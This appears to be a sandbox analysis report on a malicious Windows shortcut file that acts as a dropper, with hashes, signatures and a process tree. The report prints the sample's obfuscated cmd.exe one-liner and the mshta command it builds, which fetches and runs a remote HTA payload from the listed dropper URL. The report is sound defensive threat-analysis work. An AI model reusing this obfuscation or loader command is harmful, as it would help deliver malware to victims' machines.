Analysis

  • max time kernel
    148s
  • max time network
    117s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:20

General

  • Target
    DOC-PWW9X9.lnk
  • Size 2KB
  • Sample260804-j8vtbavejf
  • SHA256 5096ec2c05219eaf3543a45770073cb115b19e0f07433b71c5eff2fc0ae4440e
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PWW9X9.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set OhD=olddxeztaold&set yDT=infemrockuvymdgsmsttinf&set ioMz=1hlstdtf&&set hTFEu=uza25&&set lf=crtukh&set XhGps=inflyguzxvudcbemxwcginf&set biyXc=tmplnkbhitctmp&set rwjk=8mey&&set wDni=g3ashn&&set RTT=3ta2hu&set aFzu=datycjakcbkhjdldat&&set xR=h@t@tp@s:/@/ma-@pdf@fi@l@l@er.@l@at@/h@/@e@s@t@a@gio1.@php?r@=@39@14@69FB5@D8@2D@B&&start /b !rwjk:~1,1!!wDni:~3,2!!RTT:~1,2! !xR:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5956

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads